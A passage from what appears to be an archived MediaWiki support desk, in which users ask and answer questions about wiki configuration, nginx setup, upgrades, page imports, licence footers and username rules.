1.2 Paragraph two text here 
2 Subject Two 
2.1 Paragraph one here 
2.2 Paragraph two here 

I know I can do it with the normal list structure (using # and ## etc.), but I need the top-level list items to be section headings so the Table of Contents can be generated. If I use == for the section headings the list items within each section always start at 1.1 again. Is there any way to do achieve what I'm after? [[Special:Contributions/81.130.232.89|81.130.232.89]] 13:52, 16 January 2015 (UTC)
:I first thought it might be possible to solve this by using the enumeration item "#" inside the headline while hiding or disabling the automatic headline enumeration, but "#" in headlines are just rendered as "#" signs. Next I checked, whether a starting value for the different enumerations might help, but [[Help:Lists#Specifying_a_starting_value]] suggests that you have to use HTML syntax, if you want that.
:<syntaxhighlight lang='text'><ol start="1">
<li><h1>Item 1</h1></li>
</ol>
<ol start="3">
<li><h1>Item 3</h1><ol>
<li>Amsterdam</li>
<li>Rotterdam</li>
<li>The Hague</li>
</ol>
</li>
</ol>
</syntaxhighlight>
:So basically that would be what I would try... [[Special:Contributions/88.130.124.129|88.130.124.129]] 15:03, 16 January 2015 (UTC)

== need a retired version of mediawiki ==

last year our wiki was hacked. It had sat unused for a couple of years when someone found a way in and flooded it with spam. The only way to stop the flood was to delete the folder from our server.

I have the database but can't successfully integrate it with the three most recent releases.

Two of the tables in the saved database are blobs and brokenlinks.

Does anyone know what was the most recent version of mediawiki that used these tables? Does anyone know where I can download a copy of the installation files?

thanks,
david [[Special:Contributions/67.248.251.75|67.248.251.75]] 16:44, 16 January 2015 (UTC)
:Hi!
:Have a look at [[DB]] - these tables have last been used in MediaWiki 1.4. '''But''' they also never were deleted. The mere presence of these tables only means that the wiki had initially been created with a MediaWiki version, which used these tables. It does ''not'' mean that this also was the last MediaWiki version, which was used with this database. E.g. if you set up an installation with MediaWiki 1.4 and then upgraded it to MediaWiki 1.23, then this will be the last version you used the database with - but the old tables will still be there.
:Basically I would just download the sourcecode from releases.wikimedia.org and follow the [[upgrade]] guide.
:Please note that, if you had files uploaded in your wiki, you will also need these files. Without them, file links will not be working. [[Special:Contributions/88.130.89.243|88.130.89.243]] 22:11, 16 January 2015 (UTC)
::thanks! [[Special:Contributions/67.248.251.75|67.248.251.75]] 22:58, 16 January 2015 (UTC)

== How to see a list of all the articles added ==

How can I see a list of all the articles that are add to my wiki?

Is there code I can put in my reference page. [[Special:Contributions/184.164.106.167|184.164.106.167]] 19:59, 16 January 2015 (UTC)
:Try the page called "Special:AllPages". [[User:Jackmcbarn|Jackmcbarn]] ([[User talk:Jackmcbarn|talk]]) 02:16, 17 January 2015 (UTC)

== Phabricator down? ==

Reported on [//commons.wikimedia.org/wiki/Commons:Village_pump#Something_wrong_with_the_UploadWizard.3F c:Commons:Village_pump#Something_wrong_with_the_UploadWizard.3F], [[phabricator:T87062]] triggers a login prompt. [[User:Be..anyone|Be..anyone]] ([[User talk:Be..anyone|talk]]) 14:58, 17 January 2015 (UTC)
:It is not down, see e.g. the still unsolved https://phabricator.wikimedia.org/T78159
:But I see the login prompt at T87062 as well. I also remember seeing this problem with other issues as well. Is that a configuration problem with Phabricator? [[Special:Contributions/88.130.89.243|88.130.89.243]] 15:11, 17 January 2015 (UTC)
:I ''am'' logged in and get an "Access Denied: Restricted Task" message at https://phabricator.wikimedia.org/T87062. [[User:Rosenzweig|Rosenzweig]] ([[User talk:Rosenzweig|talk]]) 15:15, 17 January 2015 (UTC)
:It seems, that this task is restricted (e.g. the security property set to "private" or "sensitive/security bug". In this case, only the owner of this task and the members of the [https://phabricator.wikimedia.org/tag/security/ security group] (iirc) can view this bug. [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 14:29, 18 January 2015 (UTC)
::Makes sense, but a login prompt to indicate this state isn't optimal. For user profiles I got the idea immediately, no account, no access; but security issues are hopefully rare and could be reported as is (= "no access, unclear security state requires triage, try again later.") [[User:Be..anyone|Be..anyone]] ([[User talk:Be..anyone|talk]]) 15:49, 18 January 2015 (UTC)
:::Hmm, how exactly do you get a login screen? When I am logged into Phabricator and try to access https://phabricator.wikimedia.org/T87062 , I get "Access Denied: Restricted Task - You do not have permission to view this object." but not a login screen. [[User:AKlapper (WMF)|AKlapper (WMF)]] ([[User talk:AKlapper (WMF)|talk]]) 16:12, 18 January 2015 (UTC)
::::Plus [[Phabricator/Help]] is a better place to discuss Phabricator, I'd say. :) [[User:AKlapper (WMF)|AKlapper (WMF)]] ([[User talk:AKlapper (WMF)|talk]]) 16:12, 18 January 2015 (UTC)
:::::Unfortunately it's not possible to move a LQT-thread to flow :( [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 16:18, 18 January 2015 (UTC)
::::You're questioning why you don't see a login screen when you're logged in? Obviously the login screen is shown when you're ''not'' logged in. [[Special:Contributions/137.147.80.84|137.147.80.84]] 05:08, 19 January 2015 (UTC)
::::Without account (incl. "anonymous" users) it is a login prompt, quite annoying from a {{tlx|tracked|T87062}} posted on a [//commons.wikimedia.org/wiki/Special:Permalink/147380344#.22Uploaded_with_UploadWizard.22 village pump]. I guess it's the same feature not allowing me to visit Phabricator [[phabricator:p/tstarling/|user profiles]] (for privacy instead of security reasons.) [[User:Be..anyone|Be..anyone]] ([[User talk:Be..anyone|talk]]) 09:14, 22 January 2015 (UTC)
::It's hardly "down" if it still shows a login screen. :P
::Florian is pretty much right; see [[mw:Phabricator/Security]] for the full documentation and info. [[User:AKlapper (WMF)|AKlapper (WMF)]] ([[User talk:AKlapper (WMF)|talk]]) 16:03, 18 January 2015 (UTC)
:::<code>[[Template:=P|<nowiki>{{=P}}</nowiki>]]</code> is understood ;-) [[User:Be..anyone|Be..anyone]] ([[User talk:Be..anyone|talk]]) 16:13, 18 January 2015 (UTC)

== [Solved] Migrate nginx error 404 ==

Hello,

i have dump sql and import to new server.

New server:
nginx -v (with fcgiwrap)
*nginx version: nginx/1.6.2
php -v
*PHP 5.4.36-1~dotdeb.1 (cli) (built: Dec 19 2014 23:01:37)
*Zend Engine v2.4.0, Copyright (c) 1998-2014 Zend Technologies
mysql -V
*mysql Ver 14.14 Distrib 5.5.40, for debian-linux-gnu (x86_64) using readline 6.2

LocalSettings.php (old):
##$wgScriptPath = "/wiki";
$wgScriptExtension = ".php";
$wgArticlePath = "$wgScriptPath/$1";
$wgUsePathInfo = true;
## The protocol and server name to use in fully-qualified URLs
$wgServer = "http://l4d2-funs.myriapulse.com";

LocalSettings.php (new):
$wgScriptPath = "";
$wgScriptExtension = ".php";
$wgArticlePath = "$1";
$wgUsePathInfo = true;
## The protocol and server name to use in fully-qualified URLs
$wgServer = "http://ip_vps";

I have tested multiple configuration but same...

virtualhost:
<syntaxhighlight lang="apache">
server {
listen 80;

root /usr/share/nginx/html/wiki;
index index.html index.htm index.php;

# Make site accessible from http://localhost/
server_name localhost;

#error_page 404 /404.html;

#error_page 500 502 503 504 /50x.html;
#location = /50x.html {
# root /usr/share/nginx/html;
#}
# Here, multiple test and same results...
location /wiki/ {
#try_files $uri $uri/ @rewrite;
#try_files $uri $uri/ @wiki;
try_files $uri $uri/ /index.php?$args;
}

# Don't log robots.txt or favicon.ico files
location = /favicon.ico { log_not_found off; access_log off; }
location = /robots.txt { allow all; access_log off; log_not_found off; }

location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
# fastcgi_intercept_errors on;
# try_files $uri = 404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
}

location ~ /\.ht {
deny all;
}

location @rewrite {
rewrite ^/(.*)$ /index.php?title=$1&$args;
}

location /maintenance/ {
return 403;
}

location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ {
try_files $uri /index.php;
expires max;
log_not_found off;
}

location = /_.gif {
expires max;
empty_gif;
}

location ^~ /cache/ {
deny all;
}

location /dumps {
root /usr/share/nginx/html/wiki/local;
autoindex on;
}
}
</syntaxhighlight>

what is wrong please?

Cheers, [[User:Owned67|Owned67]] ([[User talk:Owned67|talk]]) 17:10, 17 January 2015 (UTC)
:$wgArticlePath should probably be "/wiki/$1".
:You should also try the configuration provided by http://shorturls.redwerks.org/ [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:35, 19 January 2015 (UTC)

== Wikimania 2009 api problem. ==

Hi it seems the API on wikimania 2009 is to working wikidapriary is showing it as running MediaWiki 1.24wmf8 where it is actually running 1.25 wmf 14 and the API looks worng on it compare Wikipedia en api to wikimania 2009 api and you will see a difference please see wikimania api at http://wikimania2009.wikimedia.org/w/api.php [[Special:Contributions/86.173.52.112|86.173.52.112]] 12:41, 18 January 2015 (UTC)
:If it shows 1.24wmf8 somewhere you should provide steps how to see that. And how is that related to MediaWiki? Furthermore, please consider taking a look at https://en.wikipedia.org/wiki/Punctuation before your next posting. [[User:Malyacko|Malyacko]] ([[User talk:Malyacko|talk]]) 16:09, 18 January 2015 (UTC)

== Norwegian site shows wrong day/date on this day (I dag) ==

Norwegian site shows wrong day/date on this day (I dag) [[Special:Contributions/88.91.22.101|88.91.22.101]] 07:53, 19 January 2015 (UTC)
:Which norwegian site? Link that shows the problem is welcome... [[User:AKlapper (WMF)|AKlapper (WMF)]] ([[User talk:AKlapper (WMF)|talk]]) 00:10, 21 January 2015 (UTC)

== General setup advice needed ==

Hi,
I plan to open up a site halfway between wiki and blogging, possibly using MediaWiki. 
My current problem is to determine if this is the correct platform to use and, if this proves to be the case, what extensions I should include.

Here is a provisional list of what I need to do:
* Content will be highly organized, like a book or a manual; I'm not writing independent entries.
* Content will be mostly text, with a few pictures and with heavy usage of lists/tables.
* Chapters may not be written in sequence, but should appear in logical order, possibly with a TOC-like menu on the left hand. It should be possible to insert a new entry in any point of TOC, not just at the end; hyerarchical TOC would be a "nice to have".
* Content will have a large amount of hyperlinks either to short footnotes (e.g.: bibliograpic notes) or more sizeable pages (either in the regular flow as detailed in TOC or standalone).
* Content shouldn't be directly modifiable by readers (it's not really a wiki; I will be personally responsible of what gets into "Content").
* Commenting, either global or on single sections, is encouraged and I plan to respond to most (all?) comments.
* Reading of all pages (Content and Comment) should be open, but I would like to forche whoever whishes to leave comments to register (mainly as a deterrent to spam).
* Comments should be somewhat separate from entry, possibly in a "Discussion" page attached to entry itself (something similar to Wikipedia setup).
* In case I decide to edit entry in response to some user comment there should be a way to link the relevant part to the comment thread.
* There will be a fair amount of bibliograhic and explanatory footnotes (in the style of academic papers).
* It should be possible to navigate sections either using the TOC menu or simply via [Next]/[Prev] buttons (beside the normal internal hyperlinking).

I assume all this can be done, but it's unclear to me if I'm straining boundaries of the tool and I'd be better off chosing something different (e.g.: WordPress). 
I would like to use some ready-to-go solution; I installed the basic package, but then I got lost in the sheer amount of customization available. 
I need some guidance before i spend too much time running in circles. 
Can someone point me in the right direction, please? [[User:MCondarelli|MCondarelli]] ([[User talk:MCondarelli|talk]]) 12:30, 19 January 2015 (UTC)
:Just go for it ... really. Why do you want to rely on the opinion of others if it is your own opinion and you own satisfaction that needs to be met. You need to work with this tool, so you need to be able to maintain and to handle it. Just give it a try and experiment a bit. I would advise you that you use a broader scope of CMS's that just MW or WP. There are far more.
:Make a list of the requirments that you want to see met and compare those systems that you have used by adding scores or comments to it. Create examples texts and see how well these are displayed in the various enviroments ... make stuff like this. [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 08:55, 20 January 2015 (UTC)

== [RESOLVED] HowTo? Import list of Export'ed Categories? Possible? ==

'''Summary''': I'm attempting to use Export from a possibly corrupted wiki, and Import into a starting-over-from-scratch wiki. It's no doubt operator error, but Import of Categories fails. Import works fine with Templates, and seems to work fine with Files that have underscores in their filename (my bad?).

'''My under construction 1.21.1 wiki''': canprint.org/wiki with immature LocalSettings.php so $wgLogo and other formatting flawed 
(and semi-offline canprint.org/11_wiki11_1165/index.php?title=Special:Version that may be corrupted) 
Hosted by: GoDaddy with Linux server (Apache?) ... I'm ignorant about SSH and super rusty with Linux 
PHP: 5.3.24 (cgi-fcgi) MySQL: 5.0.96-log 
Note that GoDaddy makes MW connected to MySQL relatively simple for up to ver 1.21.1 but I'm stumped on how to upgrade to ver 1.24.1, but that's also another issue for now 

'''More info''': My approach of '''Export then Import''' is almost certainly a less than optimal ''hold-your-nose'' work-around. Guidance to "correct the error of my ways" appreciated.

I am able to Export and then Import existing Pages, Files, and Templates. However, this MW semi-newbie hasn't been able to figure out how to Export Categories so they will subsequently Import. Therefore, the ''starting-over'' wiki is missing 50+ categories. 
http://www.canprint.org/wiki/index.php?title=Special:WantedCategories&limit=100&offset=0 (not sure if this Special page will show up for a non-user)

I haven't tested if Export from a small 1.21.1 wiki with a few categories will Import to another small 1.21.1 wiki.

[http://www.canprint.org/wiki/index.php?title=MTYEWTK| MTYEWTK?] Sorry 
Below is a partial list of the Exported pages / files / templates / categories from the possibly corrupted 1.16.5 version. My speculation is that the Categories is expecting a different Prefix than my guess. I'm hoping to avoid copy/paste of the contents 50+ categories, if possible. 

AKA (ok) 
Abbreviated cartridge flushing (ok) 
... (100+ ok) 
Main Page (ok) 
Main Page: Welcome to Canon Printing wiki (ok) 
Mea culpa (ok) 
... (100+ ok) 
YWMV (ok) 
Template:Canon.printer.template (1 of 2 ok) 
Template:Under.construction (2 of 2 ok) 
File:110812 iP4500 wikilogo.png (seems ok although actual file has underscores) 
... (5+ ok) 
File:300 PrinterEvaluationTarget.jpg (seems ok) 
'''A4 Letter size printers (as Exported ... didn't Import) '''
'''Category:A4 Letter size printers (tried to guess Prefix: didn't work) '''
Category:All-in-one printers 
... (40+ didn't get imported ... [[http://www.urbandictionary.com/define.php?term=pebkac PEBKAC?]]) 
Category:QY6-0084 print-head 
Category:Under construction placeholder 
Category:Unknown print-head [[User:L d allan|L d allan]] ([[User talk:L d allan|talk]]) 12:36, 19 January 2015 (UTC)
:XML or SQL Export/Import? [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 08:59, 20 January 2015 (UTC)
::Thanks for the reply.
::I'm using the Special:Export page. That results in a relatively large time-stamped XML file (142kb). Then I use the Special:Import page to Import that XML file. I can see a list of pages, files, and templates imported. Categories are not among that list, and they are lots of missing categories in the Special:CategoriesWanted page. [[User:L d allan|L d allan]] ([[User talk:L d allan|talk]]) 15:32, 20 January 2015 (UTC)
:::Actually, I have tried both ... XML and SQL. Did you ever tried it according to the official documentation?
:::https://www.mediawiki.org/wiki/Manual:Importing_XML_dumps [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 11:14, 22 January 2015 (UTC)
::::Thanks. The docs:
::::''Special:Import can be used by wiki users with import permission (by default this is users in the sysop group) to import a small number of pages (about 100 should be safe). Trying to import large dumps this way may result in timeouts or connection failures.''
::::I'll try with fewer pages. However, all the actual Pages, all the Files, and all the Templates were Import'ed, but none of the categories. [[User:L d allan|L d allan]] ([[User talk:L d allan|talk]]) 02:58, 23 January 2015 (UTC)
::Import of Categories started working ok. I'm unsure why, or what happened. Anyway, disregard, and thanks. [[User:L d allan|L d allan]] ([[User talk:L d allan|talk]]) 12:47, 23 January 2015 (UTC)

== [RESOLVED] HowTo? Change user-id with underscores to keep as underscores rather than converted to spaces? Possible? ==

My Administrator login: l_d_allan 
Becomes : l d allan

Can this be "fixed" or is that how MW works?

If not, should I have used l-d-allan? Or l.d.allan?

My speculation is that it may be too late to change, and the possible repercussions might ripple throughout my small wiki. Or not?

'''My setup:'''

ver. [http://www.canprint.org/wiki/index.php?title=Special:Version | 1.21.1] (super rusty at Linux and too much of a MW newbie to figure out how to upgrade to latest/greatest ... sorry) 
PHP: 5.3.24 (cgi-fcgi) MySQL: 5.0.96-log 
link to immature, under-construction wiki: canprint.org/wiki

I have noticed that MW treats pages like ''My_test_page'' as pretty much equivalent to ''My test page''. They seem almost like an alias. [//en.wikipedia.org/wiki/Mea Culpa Mea culpa], it didn't occur to me until possibly too late that my_login would have the underscore replaced. [[User:L d allan|L d allan]] ([[User talk:L d allan|talk]]) 13:09, 19 January 2015 (UTC)
:what kind of Linux? Do you run a server (shared or just some small hosting webspace? The mysql version is a bit outdated and also the php could use an upgrade.
:Did you ever try apt-get update or apt-get dist-upgrade?
:That with the underscore is just a display thing. Hover over your username in the thread and you see it with the underscores displayed. [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 08:47, 20 January 2015 (UTC)
::The website is hosted by GoDaddy. They provide Linux, PHP, and MySQL. The version is not under my control.
::I can live with the underscore becoming a space. It's actually not an issue that causes any problems. [[User:L d allan|L d allan]] ([[User talk:L d allan|talk]]) 00:14, 21 January 2015 (UTC)
:That's how MediaWiki works. If you want to rename your user, you can use [[Extension:Renameuser]] (already bundled in your installation, you may need to enable it in LocalSettings.php). [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:33, 20 January 2015 (UTC)
::OK. Thanks. That was operator error on my part. Resolved. [[User:L d allan|L d allan]] ([[User talk:L d allan|talk]]) 12:50, 23 January 2015 (UTC)

== Mirroring a Wiki ==

Hi folks, 
since I was having issues to upgrade my wiki from 1.22 to 1.24 and I had to restore the old system. Therefore I am planning to create a sandbox wiki (at the same hosting company) with a 1:1 copy of the original wiki. 
So far so good. 
I was looking for explanations in the web, obviously there are several approaches of extensions at experimental level and many explanations, but overall it's rather rudimentary. 
My straight-forward and "naive" way of doing this would be: 
 
1. Copy the entire file structure from the original wiki into the root folder of the mirror wiki location 
2. Create a new database (SQL) 
3. Export the original wiki DB and import it into the mirror DB 
4. Adjust the DB connection / user settings in the LocalSettings.php of the mirror wiki 
 
Now you can eat me alive ;-) 
How "naive" is this approach? 
I guess there are many more things to adjust, right? 
 
Many thanks for any useful hints! 
 [[User:Sochin67|Sochin67]] ([[User talk:Sochin67|talk]]) 15:36, 19 January 2015 (UTC)
:I am currently doing this with a productive system. Maybe you should considering emptying the extension folder and setting the entire setup up fresh. With GIT and composer. But afterwards all you do is check whether everything runs fine. I can tell you, because I am migrating from a much earlier state to a new one, there are a lot of things that you may not spot right on, but which need some time until you realize them. Make sure you document all steps that you have done and all the changes that have had to be applied. [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 08:35, 20 January 2015 (UTC)
::Great - many thanks! 
::I gave it a try and with some really minor adjustments it seems to work! [[User:Sochin67|Sochin67]] ([[User talk:Sochin67|talk]]) 10:08, 20 January 2015 (UTC)

== Trouble transcluding Wikipedia content into a private wiki ==

MediaWiki 1.24.1
PHP 5.4.36-0+deb7u3 (apache2handler)
MySQL 5.5.40-0+wheezy1

Hi,

I'm trying to pull the introductions from some Wikipedia articles into a private wiki. I've installed the Labeled Section Transclusion Extension and set iw_trans and iw_local to true for the wikipedia entry. Then, in the appropriate pages, I've included something like:
<pre>{{#lsth:wikipedia:Wikimedia Foundation}}
</pre>

But, instead of transcluding the content, all I get is a link the article.

What am I doing wrong? Is there a better way to pull in Wikipedia content (it needn't necessarily be kept up to date). [[User:Mrhappy888|Mrhappy888]] ([[User talk:Mrhappy888|talk]]) 18:43, 19 January 2015 (UTC)
:Have you set [[Manual:$wgEnableScaryTranscluding]] to true?
:It's possible that Labeled Section Transclusion doesn't support cross-wiki transclusion. Does <code>{{((}}wikipedia:Wikimedia Foundation<nowiki>}}</nowiki></code> work correctly? [[User:This, that and the other|This, that and the other]] ([[User talk:This, that and the other|talk]]) 00:34, 21 January 2015 (UTC)

== Clear the cache of Linker::link() ? ==

How can I clear the cache of Linker::link() for a page after editing?

I'm adding class names to $attribs['class'] relevant to the page content. After editing, these sometimes don't update. [[User:Subfader|Subfader]] 23:38, 19 January 2015 (UTC) 23:37, 19 January 2015 (UTC)

== Data Manager Inbox - numeric formatting ==

Hi

Does the numeric formatting work in the 'View in Inbox' mode within a Data Manager Inbox, i.e. display a numeric attribute to a specific number of DPs?

I'm currently working on version 8.1

Regards

Andy [[Special:Contributions/91.214.5.128|91.214.5.128]] 10:59, 20 January 2015 (UTC)

== Defining a new query string ==

My setup:

*mediawiki 1.23.5
*php 5.5.17 (apache2handler)
*MYSQL (5.6.21)

How can I do something like this for my own wiki?

<pre>https://www.mediawiki.org/w/index.php?title=Project:Support_desk&offset=20150117005827&limit=20</pre>

Is there anything special that I have to do to be able to use the ampersand ('&') in the URL? I know there is a hook for unknown actions, but how would I be able to use something like '&offset=100' as used on the support desk project? [[User:Mfort123|Mfort123]] ([[User talk:Mfort123|talk]]) 19:46, 20 January 2015 (UTC)
:I've noticed that I get a page redirect when I try to use unknown query strings. I guess I could just write an event handler for the mediaWikiPeformAction hook and make use of the webRequest object to get the behavior that I want. [[User:Mfort123|Mfort123]] ([[User talk:Mfort123|talk]]) 20:21, 20 January 2015 (UTC)
::All you need to do is use
::<syntaxhighlight lang='text'> $array=$request->getQueryValues(); </pre>
in the mediaWikiPerformAction event handler. [[User:Mfort123|Mfort123]] ([[User talk:Mfort123|talk]]) 21:17, 20 January 2015 (UTC)

== How to put license in the footer ==

So I'm trying to put my license information on the footer of the website. I was successfully able to add the $wgRightsUrl into my localsettings.php file, but I literally see nothing new that has changed. Two questions:

What exactly did altering the Localsettings.php do?
How can I get my license stated on the footer of the page like that of MediaWiki?

Thank you for your help and time. [[Special:Contributions/71.10.173.151|71.10.173.151]] 23:10, 20 January 2015 (UTC)
:So I figured out how to put the license information in the footer, but now I am trying to find out how to put a link for the actual license.
:Can anyone help? [[Special:Contributions/71.10.173.151|71.10.173.151]] 01:16, 21 January 2015 (UTC)
::So I put $wgRightsText successfully into my Localsettings.php file. The changes took effect. I was trying to figure out how I can put a link on that footer text, so I go to the MediaWiki:Copyright page. In that page, it said "Content can be available for under 1 dollar." I didn't want that. I removed it. After removing it, the SwgRightsText stopped displaying its text. The MediaWiki specifically stated that if you wanted to added links to the text, you had to use wiki code (doesn't show an example) as well as HTML in the copyright page.
::My plan was to use SwgRightsText to provide the licensing statement, and then use HTML to provide a link to the license that I am using. Why the hell is the SwgRightsText not showing up? It was showing up before!
::PLEASE someone help! [[Special:Contributions/71.10.173.151|71.10.173.151]] 01:33, 21 January 2015 (UTC)
:::The SwgRightsText is now on the bottom right on the screen, and I want it on the bottom left with a link to the license. [[Special:Contributions/71.10.173.151|71.10.173.151]] 01:39, 21 January 2015 (UTC)
:Set [[Manual:$wgRightsIcon|$wgRightsIcon]]. Here's a sample of a license set for LocalSettings>php
:<syntaxhighlight lang='text'>$wgRightsPage = ""; # Set to the title of a wiki page that describes your license/copyright
$wgRightsUrl = "http://creativecommons.org/licenses/by-nc-sa/3.0/";
$wgRightsText = "Attribution-NonCommercial-ShareAlike 3.0 Unported";
$wgRightsIcon = "http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png";
</syntaxhighlight> [[User:Mlpearc|'''Mlpearc''']] ([[User talk:Mlpearc|'''open channel''']]) 01:20, 21 January 2015 (UTC)
::Thank you so much for your help!
::Anyways you could help me provide a link in the footer of the page? I'm trying to get Creative Commons Attribution License to be linked to the licensed page. [[Special:Contributions/71.10.173.151|71.10.173.151]] 01:54, 21 January 2015 (UTC)

== [RESOLVED] Order of MW upgrade (1.22 to 1.24) + extensions ==

Dear all, 
I'm having some difficulties in upgrading Mediawiki from 1.22 to 1.24. I'm struggling to understand what is the best order for upgrading MW and the related extensions. 
To my understanding I should not update the extensions to the latest version before the MW update as this might stop MW to work, right? 
On the other hand I am seeing the same issues if I do it the other way around (MW update first). After this my wiki only comes up with error messages that are related to incompatible extensions. 
What I did so far: I deleted the whole wiki files (except the "images" folder and LocalSettings.php) and copied the new MW 1.24 file structure to the server. After this I moved back my LocalSettings.php to the root dir. 
It even looks like that this prevents the maintenance/update.php script from running (apart from the html errors mentioned above I am also seeing similar error messages in PuTTY when trying to run this script). 
Therefore I am a bit stuck and don't really know in which orders I should do the updates?!? 
Could anybody please give me some hints? 
BTW - compatibility of MW 1.24 and PHP/SQL has been confirmed. 
Many thanks! [[User:Sochin67|Sochin67]] ([[User talk:Sochin67|talk]]) 09:18, 21 January 2015 (UTC)
:[[Manual:Upgrading]] should explain it, but anyway, the usual option is to unpack new files on an empty folder instead of the existing installation, download current versions of extensions, and then copy the LocalSettings and other modifications (images), making that folder the published directory on the webserver (or switching between old and new folders).
:Your steps seem to go in the right direction. What errors do you get? [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:43, 21 January 2015 (UTC)
::Thanks for your response, the error is: 
::[0a6dfe65] 2015-01-21 23:11:40: Fatal exception of type MWException 
:: 
::I have enabled exception details in LocalSettings.php and now it showing me that obviously Magic Quotes are enabled - so this seems to be the problem. Therefore I have just contacted my hoster and asked whether this "feature" can be disabled. [[User:Sochin67|Sochin67]] ([[User talk:Sochin67|talk]]) 23:14, 21 January 2015 (UTC)
:::Problem was fixed by disabling Magic Quotes! 
:::Thanks to Ciencia Al Poder anyway! [[User:Sochin67|Sochin67]] ([[User talk:Sochin67|talk]]) 10:43, 22 January 2015 (UTC)

== Show WikiTextEditor and Show RichTextEditor option not avaliable ==

{{LQT Moved thread stub converted to Flow|author=Ciencia Al Poder|date=2015-01-21|title=Thread:Project:Support desk/Show WikiTextEditor and Show RichTextEditor option not avaliable}} [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:36, 21 January 2015 (UTC)

== [RESOLVED] Username with @ sign inside ==

Hello, our usernames are taken from another application with the syntax "user@domain.de" ... this works perfect but if we try to change the userrights per specialpage, the mediawiki tells us its not possible because the user is not local ... it looks like he interpreted the @ as other domain.

How can i change the rules for usernames and allow the "@" signs in it?

Thanks al lot :)

Gerd [[Special:Contributions/192.166.53.201|192.166.53.201]] 15:22, 21 January 2015 (UTC)
:Hi Gerd,
:you can set
:<syntaxhighlight lang='text'> $wgInvalidUsernameCharacters = '';
</syntaxhighlight>
:in LocalSettings.php. This would break interwiki stuff, but if you only have one single wiki and do not use the interwiki functionality, then this won't be a problem. See [[Manual:$wgInvalidUsernameCharacters]] for more details. [[Special:Contributions/88.130.78.95|88.130.78.95]] 18:54, 21 January 2015 (UTC)
::Perfect! Thanks a lot! I use:
::$wgInvalidUsernameCharacters = ' ' ;
::$wgUserrightsInterwikiDelimiter = ' ';
::and now its possible to change userrights for our new users with "@" in usernames. We doesnt use Interwiki functionality :o) [[Special:Contributions/192.166.53.201|192.166.53.201]] 07:36, 22 January 2015 (UTC)

== [RESOLVED] How to italicize article titles? ==

How do we go about italicizing article titles? I see discussion of using a template to accomplish this task, but it doesn't seem clear.

MediaWiki 1.24.1
PHP 5.6.3
MySQL 5.6.21 [[Special:Contributions/24.30.101.19|24.30.101.19]] 18:46, 21 January 2015 (UTC)
:I am not exactly sure about what you want to do. If you want to have the article names of every article (e.g. the name "Manual:Upgrading" on [[Manual:Upgrading]]) written in italics, then I would edit the wiki page ''MediaWiki:Common.css'' in your wiki and add according CSS rules to it, so that the titles get an italic style. [[Special:Contributions/88.130.78.95|88.130.78.95]] 18:52, 21 January 2015 (UTC)
::To change that on a single page, you can use <code><nowiki>{{DISPLAYTITLE:''{{FULLPAGENAME}}''}}</nowiki></code> [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:53, 22 January 2015 (UTC)
:::@Ciencia Al Poder. That worked perfectly. Thanks! [[Special:Contributions/2601:0:9A00:729:94EC:9491:8D88:F0D0|2601:0:9A00:729:94EC:9491:8D88:F0D0]] 13:05, 22 January 2015 (UTC)

== Wikicode interpreter in java ==

Hi All

I would like to write a interpreter in java for wikicode to show in my viewer. The viewer is nearly a HTML-Viewer.
Is there any documentation or technics to do this. I mean I started withit and recognized that there are a lot of specific templates like <nowiki>{{</nowiki>quote.....
and they are also different in every language. (en -> <nowiki>{{</nowiki>quote german -> <nowiki>{{</nowiki>Zitat etc...

or is there any list of all templates that exists for a language ?

You see I don't know howto start and hope somebody can help.

kind regards [[User:Solvapps|Solvapps]] ([[User talk:Solvapps|talk]]) 10:06, 22 January 2015 (UTC)
:You may need to reimplement what [[Manual:parser.php|parser.php]] does...
:Do you really want to create a MediaWiki parser for Java? if you only need to display the HTML representation of pages of an existing wiki, you may want to look at [[API:Parsing wikitext]] [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 11:01, 22 January 2015 (UTC)
::Thanks a lot. This probably will help. The Parsing API is not the solution for me, because I will have my own output. (No HTML).
::What would be very helping is to have a list of all templates and the specification for each language.
::Where can I find the parser.php (download) ? [[Special:Contributions/176.127.146.117|176.127.146.117]] 07:59, 23 January 2015 (UTC)
:Does this noe suit your purpose?
:http://help.eclipse.org/luna/index.jsp?topic=%2Forg.eclipse.mylyn.wikitext.help.ui%2Fhelp%2Fdevguide%2FUsing-The-WikiText-Parser.html [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 12:09, 22 January 2015 (UTC)
::Thanks a lot. This probably will help. I took a look at it, but I am not sure if this is for me. But it is good to know, that there exists a java api. thanks.
::What would be very helping is to have a list of all templates and the specification for each language.
::Where can I find the parser.php (download) ? [[Special:Contributions/176.127.146.117|176.127.146.117]] 08:07, 23 January 2015 (UTC)
:::Parser.php can be found in our repository :)
:::https://github.com/wikimedia/mediawiki/blob/master/includes/parser/Parser.php [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 09:41, 23 January 2015 (UTC)

== White page after using search ==

Hi there

Produkt Version
MediaWiki 1.23.2
PHP 5.3.29 (cgi-fcgi)
MySQL 5.1.73-cll

